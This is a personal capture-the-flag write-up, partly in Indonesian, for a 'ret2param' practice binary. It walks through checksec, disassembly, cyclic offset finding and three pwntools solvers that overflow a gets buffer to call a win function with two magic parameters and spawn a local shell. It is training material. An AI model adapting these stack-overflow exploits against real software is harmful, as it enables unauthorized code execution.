ret2param
Latihan buat persiapan seleksi LKS, isinya ret2param.
Diawal, kita sudah diberi hint bahwa challenge ini itu ret2param. Langsung saja kita checksec.
~/ctf/pwncheatsheet/learnfromLKS/Binary_Exploit/Hands-on/ROP/ret2param main* 3m 29s
❯ checksec something_32 13:57:15
[*] '/home/claritys/ctf/pwncheatsheet/learnfromLKS/Binary_Exploit/Hands-on/ROP/ret2param/something_32'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
SHSTK: Enabled
IBT: Enabled
Stripped: NoLuckily, its not stripped, lets check the function.
~/ctf/pwncheatsheet/learnfromLKS/Binary_Exploit/Hands-on/ROP/ret2param main*
❯ pwndbg something_32 13:45:10
GEF for linux ready, type `gef' to start, `gef config' to configure
93 commands loaded and 5 functions added for GDB 16.3 in 0.00ms using Python engine 3.13
pwndbg: loaded 212 pwndbg commands. Type pwndbg [filter] for a list.
pwndbg: created 13 GDB functions (can be used with print/break). Type help function to see them.
Reading symbols from something_32...
This GDB supports auto-downloading debuginfo from the following URLs:
<https://debuginfod.cachyos.org>
<https://debuginfod.archlinux.org>
Debuginfod has been disabled.
To make this setting permanent, add 'set debuginfod enabled off' to .gdbinit.
(No debugging symbols found in something_32)
gef➤ info fun
All defined functions:
Non-debugging symbols:
0x08049000 _init
0x080490b0 printf@plt
0x080490c0 gets@plt
0x080490d0 puts@plt
0x080490e0 system@plt
0x080490f0 exit@plt
0x08049100 __libc_start_main@plt
0x08049110 setvbuf@plt
0x08049120 _start
0x08049160 _dl_relocate_static_pie
0x08049170 __x86.get_pc_thunk.bx
0x08049180 deregister_tm_clones
0x080491c0 register_tm_clones
0x08049200 __do_global_dtors_aux
0x08049230 frame_dummy
0x08049236 init
0x08049280 win
0x08049301 sport
0x08049386 main
0x080493ab __x86.get_pc_thunk.ax
0x080493b0 __libc_csu_init
0x08049420 __libc_csu_fini
0x08049425 __x86.get_pc_thunk.bp
0x0804942c _finiBecause this is a ret2param, so i have to check all the function that defined here. As usual, the main calling the other function.
gef➤ disas sport
Dump of assembler code for function sport:
0x08049301 <+0>: endbr32
0x08049305 <+4>: push ebp
0x08049306 <+5>: mov ebp,esp
0x08049308 <+7>: push ebx
0x08049309 <+8>: sub esp,0x44
0x0804930c <+11>: call 0x8049170 <__x86.get_pc_thunk.bx>
0x08049311 <+16>: add ebx,0x2cef
0x08049317 <+22>: sub esp,0xc
0x0804931a <+25>: lea eax,[ebx-0x1f9c]
0x08049320 <+31>: push eax
0x08049321 <+32>: call 0x80490d0 <puts@plt>
0x08049326 <+37>: add esp,0x10
0x08049329 <+40>: sub esp,0xc
0x0804932c <+43>: lea eax,[ebx-0x1f84]
0x08049332 <+49>: push eax
0x08049333 <+50>: call 0x80490d0 <puts@plt>
0x08049338 <+55>: add esp,0x10
0x0804933b <+58>: sub esp,0xc
0x0804933e <+61>: lea eax,[ebx-0x1f54]
0x08049344 <+67>: push eax
0x08049345 <+68>: call 0x80490d0 <puts@plt>
0x0804934a <+73>: add esp,0x10
0x0804934d <+76>: sub esp,0xc
0x08049350 <+79>: lea eax,[ebx-0x1f24]
0x08049356 <+85>: push eax
0x08049357 <+86>: call 0x80490b0 <printf@plt>
0x0804935c <+91>: add esp,0x10
0x0804935f <+94>: sub esp,0xc
0x08049362 <+97>: lea eax,[ebp-0x48]
0x08049365 <+100>: push eax
0x08049366 <+101>: call 0x80490c0 <gets@plt>
0x0804936b <+106>: add esp,0x10
0x0804936e <+109>: sub esp,0xc
0x08049371 <+112>: lea eax,[ebx-0x1ed0]
0x08049377 <+118>: push eax
0x08049378 <+119>: call 0x80490d0 <puts@plt>
0x0804937d <+124>: add esp,0x10
0x08049380 <+127>: nop
0x08049381 <+128>: mov ebx,DWORD PTR [ebp-0x4]
0x08049384 <+131>: leave
0x08049385 <+132>: ret
End of assembler dump.
gef➤ disas win
Dump of assembler code for function win:
0x08049280 <+0>: endbr32
0x08049284 <+4>: push ebp
0x08049285 <+5>: mov ebp,esp
0x08049287 <+7>: push ebx
0x08049288 <+8>: sub esp,0x4
0x0804928b <+11>: call 0x8049170 <__x86.get_pc_thunk.bx>
0x08049290 <+16>: add ebx,0x2d70
0x08049296 <+22>: cmp DWORD PTR [ebp+0x8],0xba5eba11
0x0804929d <+29>: jne 0x80492e0 <win+96>
0x0804929f <+31>: cmp DWORD PTR [ebp+0xc],0xf007ba11
0x080492a6 <+38>: jne 0x80492e0 <win+96>
0x080492a8 <+40>: sub esp,0xc
0x080492ab <+43>: lea eax,[ebx-0x1ff8]
0x080492b1 <+49>: push eax
0x080492b2 <+50>: call 0x80490d0 <puts@plt>
0x080492b7 <+55>: add esp,0x10
0x080492ba <+58>: sub esp,0xc
0x080492bd <+61>: lea eax,[ebx-0x1fe6]
0x080492c3 <+67>: push eax
0x080492c4 <+68>: call 0x80490d0 <puts@plt>
0x080492c9 <+73>: add esp,0x10
0x080492cc <+76>: sub esp,0xc
0x080492cf <+79>: lea eax,[ebx-0x1fd8]
0x080492d5 <+85>: push eax
0x080492d6 <+86>: call 0x80490e0 <system@plt>
0x080492db <+91>: add esp,0x10
0x080492de <+94>: jmp 0x80492fc <win+124>
0x080492e0 <+96>: sub esp,0xc
0x080492e3 <+99>: lea eax,[ebx-0x1fd0]
0x080492e9 <+105>: push eax
0x080492ea <+106>: call 0x80490d0 <puts@plt>
0x080492ef <+111>: add esp,0x10
0x080492f2 <+114>: sub esp,0xc
0x080492f5 <+117>: push 0x0
0x080492f7 <+119>: call 0x80490f0 <exit@plt>
0x080492fc <+124>: mov ebx,DWORD PTR [ebp-0x4]
0x080492ff <+127>: leave
0x08049300 <+128>: ret
End of assembler dump.
Okay, there’s gets. and 0x48 = 72, because its x86, we need 76 for reaching EIP. And now we verification for the offset for the EIP.
>>> 0x48
72
>>> 72 + 4
76
[ Legend: Modified register | Code | Heap | Stack | String ]
──────────────────────────────────────────────────────────────────────────── registers ────
$eax : 0x23
$ebx : 0x61616172 ("raaa"?)
$ecx : 0xf7f7b888 → 0x00000000
$edx : 0xf7f7b888 → 0x00000000
$esp : 0xffffd1e0 → "uaaavaaawa"
$ebp : 0x61616173 ("saaa"?)
$esi : 0xf7f79e2c → 0x00292d4c ("L-)"?)
$edi : 0x080493b0 → <__libc_csu_init+0000> endbr32
$eip : 0x61616174 ("taaa"?)
$eflags: [zero carry PARITY adjust SIGN trap INTERRUPT direction overflow RESUME virtualx86 identification]
$cs: 0x23 $ss: 0x2b $ds: 0x2b $es: 0x2b $fs: 0x00 $gs: 0x63
──────────────────────────────────────────────────────────────────────────────── stack ────
0xffffd1e0│+0x0000: "uaaavaaawa" ← $esp
0xffffd1e4│+0x0004: "vaaawa"
0xffffd1e8│+0x0008: 0xf7006177 ("wa"?)
0xffffd1ec│+0x000c: 0xf7d09ac0 → add esp, 0x10
0xffffd1f0│+0x0010: 0x00000001
0xffffd1f4│+0x0014: 0xffffd2b4 → 0xffffd4b9 → "/home/claritys/ctf/pwncheatsheet/learnfromLKS/Bina[...]"
0xffffd1f8│+0x0018: 0xffffd2bc → 0xffffd51a → "GHOSTTY_SHELL_FEATURES=path,sudo,title"
0xffffd1fc│+0x001c: 0x00000000
────────────────────────────────────────────────────────────────────────── code:x86:32 ────
[!] Cannot disassemble from $PC
[!] Cannot access memory at address 0x61616174
────────────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "something_32", stopped 0x61616174 in ?? (), reason: SIGSEGV
──────────────────────────────────────────────────────────────────────────────── trace ────
───────────────────────────────────────────────────────────────────────────────────────────
gef➤ cyclic -l taaa
Finding cyclic pattern of 4 bytes: b'taaa' (hex: 0x74616161)
Found at offset 76
My own solver: (actually I’m using template from pwninit and then i modifed it a bit for my own environment)
#!/usr/bin/env python3
from pwn import *
elf = ELF("something_32_patched")
exe = context.binary
context.terminal = ["ghostty", "-e"]
context.arch = "i386"
gdbscript = """
set pagination off
set confirm off
break main
continue
"""
def conn():
if args.GDB:
r = process([elf.path])
gdb.attach(r, gdbscript=gdbscript)
return r
if args.LOCAL:
return process([elf.path])
return remote("addr", 1337)
def main():
r = conn()
payload = flat(
b'A' * 76,
0x08049280, #control EIP
0, #dummy for fake return address (aku gatau ini awalnya hehe)
0xba5eba11, #first param
0xf007ba11 #second param
)
# good luck pwning :)
r.sendline(payload)
r.interactive()
if __name__ == "__main__":
main()Nah, aku ini no AI tapi melihat referensi dari google. Itu fitur ya katanya di JCC wkwk.

Karena awalnya itu aku nggak ada fake return address, tapi akhirnya aku terpaksa googling writeupnya biar aku tau salahku di mana. Salahku ternyata di fake return address hehe. Yang tau alasannya pls kasih tau aku dong.
Reference:
from pwn import *
p = process('./binary_x86')
elf = ELF('./binary_x86')
offset = 44 # Determined via cyclic pattern
win_addr = elf.sym['win']
arg1 = 0x12345678
arg2 = 0xdeadbeef
payload = b'A' * offset
payload += p32(win_addr) # Control EIP to point to win()
payload += p32(0xdeadbeef) # Fake return address for win()
payload += p32(arg1) # First parameter [ebp + 0x8]
payload += p32(arg2) # Second parameter [ebp + 0xc]
p.sendline(payload)
p.interactive()Solver resmi dari latihan LKS nya adalah:
from pwn import *
elf = context.binary = ELF('./something_32')
p = process()
win = p32(0x08049280)
param_1 = 0xba5eba11
param_2 = 0xf007ba11
offset = 76
payload = flat(
'A' * offset, win, b'AAAA',
param_1, param_2
)
p.sendline(payload)
p.interactive()⏎we can keep it and use it as a reference in the future.
Implement:
~/ctf/pwncheatsheet/learnfromLKS/Binary_Exploit/Hands-on/ROP/ret2param main*
❯ python3 solve.py LOCAL 14:08:45
[*] '/home/claritys/ctf/pwncheatsheet/learnfromLKS/Binary_Exploit/Hands-on/ROP/ret2param/something_32_patched'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
SHSTK: Enabled
IBT: Enabled
Stripped: No
[x] Starting local process '/home/claritys/ctf/pwncheatsheet/learnfromLKS/Binary_Exploit/Ha[┤] Starting local process '/home/claritys/ctf/pwncheatsheet/learnfromLKS/Binary_Exploit/Ha[+] on/ROP/ret2param/something_32_patched': pid 123833
[*] Switching to interactive mode
Hana: Ayo olahragaa'
Luna: Tunggu kak, Luna mau nyiapin diri dahulu
Luna: Tapi Luna juga tidak tau olahrgara apa?
Hana: Udah tenang. Kan ada olahraga baseball dan football juga sih. Ayookk udh
>
Luna: Oke oke chill, Luna datang.
Hana: Ayo lunaaa
Luna: tungguu
$ ls
solve.py something_32_patched something_64 something.zip
something_32 something_32.py something_64.py
$
[*] Interrupted
[*] Stopped process '/home/claritys/ctf/pwncheatsheet/learnfromLKS/Binary_Exploit/Hands-on/ROP/ret2param/something_32_patched' (pid 123833)

